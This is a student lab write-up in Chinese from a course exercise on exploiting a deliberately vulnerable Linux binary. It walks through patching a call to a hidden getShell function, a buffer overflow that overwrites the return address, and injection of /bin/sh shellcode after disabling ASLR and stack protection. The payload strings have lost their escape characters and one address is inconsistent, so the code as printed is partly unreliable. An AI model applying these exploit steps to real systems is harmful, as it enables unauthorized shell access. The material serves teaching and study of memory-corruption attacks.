• 2017-2018-2 《网络对抗技术》 20155319 第二周 Exp1 PC平台逆向破解(5)M


    2017-2018-2 《网络对抗技术》 20155319 第二周 Exp1 PC平台逆向破解(5)M

    一、实践目标

    1.1实践介绍

    本次实践的对象是一个名为pwn1的linux可执行文件。
    
    该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
    
    该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
    

    1.2相关知识

    • NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)

    • JNE:条件转移指令,如果不相等则跳转。(机器码:75)

    • JE:条件转移指令,如果相等则跳转。(机器码:74)

    • JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB) 段内直接近转移Jmp near(机器码:E9) 段内间接转移 Jmp word(机器码:FF) 段间直接(远)转移Jmp far(机器码:EA)

    • CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

    反汇编:objdump -d XX
    进入十六进制编辑模式:进入十六进制编辑模式
    查询:/
    调试:gdb XXX
    切回原模式:%!xxd -r
    

    实践一:直接修改程序机器指令,改变程序执行流程

    1.将pwn进行反汇编objdump -d

    寻找foo函数和getshell函数的机器码,分别是08048491,0804747d。利用两个地址的相对偏移来改变调用地址,从而使主函数调用getshell函数。

    2.查找要修改的内容,计算偏移量

    vi进入文件,并按ESC后,输入:%!xxd,转化为十六进制显示模式,查找要修改的内容/e8 d7。7d比91大14,因此将d7 - 14,得到新的地址c3。进入修改,:wq保存退出。

    3.反汇编看一下,call指令正确调用getShell,然后执行。


    实验二:通过构造输入参数,造成BOF攻击,改变程序执行流

    1.反汇编,了解程序的基本功能
    2.触发getshell函数
    3.该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞
    
    1.先进入gdb使用指令gdb 20155319然后r输入1111111122222222333333334444444455555555并info r观察寄存器中数值寻找关系。

    发现eip寄存器中的值为0x35353535,35代表的是5,由此猜测最后八个5中某四个5决定了寄存器中的值,为了准确找出是哪四个数字,于是把8个5换成12345678进一步探索。

    由于输入时少输一个4,变为1111111111222222223333333344444444123456发现eip中的数值变成了33323134也就是3214由此判断为4、1、2、3这四个位置数字反向输入覆盖了堆栈上的返回地址。

    2.好了由之前的截图可以看到getshell的内存地址为0804847d,所以应将其反着输入放在11111111222222223333333344444444的后面,即11111111222222223333333344444444x7dx84x04x08用ctrl+z退出,使用perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input命令构造文件。并使用十六进制查看指令xxd查看input文件是否符合预期。最后用然后将input的输入,通过管道符“|”,作为pwn1的输入。

    1.输入apt-get install execstack下载软件包。

    2.输入指令,更改设置
    execstack -s pwn1    //设置堆栈可执行
    execstack -q pwn1    //查询文件的堆栈是否可执行
    more /proc/sys/kernel/randomize_va_space 
    echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    more /proc/sys/kernel/randomize_va_space 
    
    3.输入命令perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode,然后输入攻击命令(cat input_shellcode;cat) | ./pwn5319.

    打开一个新终端,找到进程号。用gdb调试,使用x/16x 0xffffd30c查看其存放内容,看到了01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,所以地址是 0xffffd310。


    修改地址再次攻击,成功!

    遇到的问题

    Q:在输入值得时候只输入了31位,出现下列返回值,不知道它代表什么意思?(希望老师帮我解答下)

  • 相关阅读:
    MySql 定时完成备份
    smarty插件
    PHP字符串函数小结
    eclipse搭建maven project的spring4 spring mvc mybatis
    C#数组存入引用类型
    C#数组
    【转】Linus:利用二级指针删除单向链表
    [LeetCode] Reverse Linked List II
    ubuntu配置git
    mint安装Node.js
  • 原文地址:https://www.cnblogs.com/rhl20155319/p/8542370.html
Copyright © 2020-2023  润新知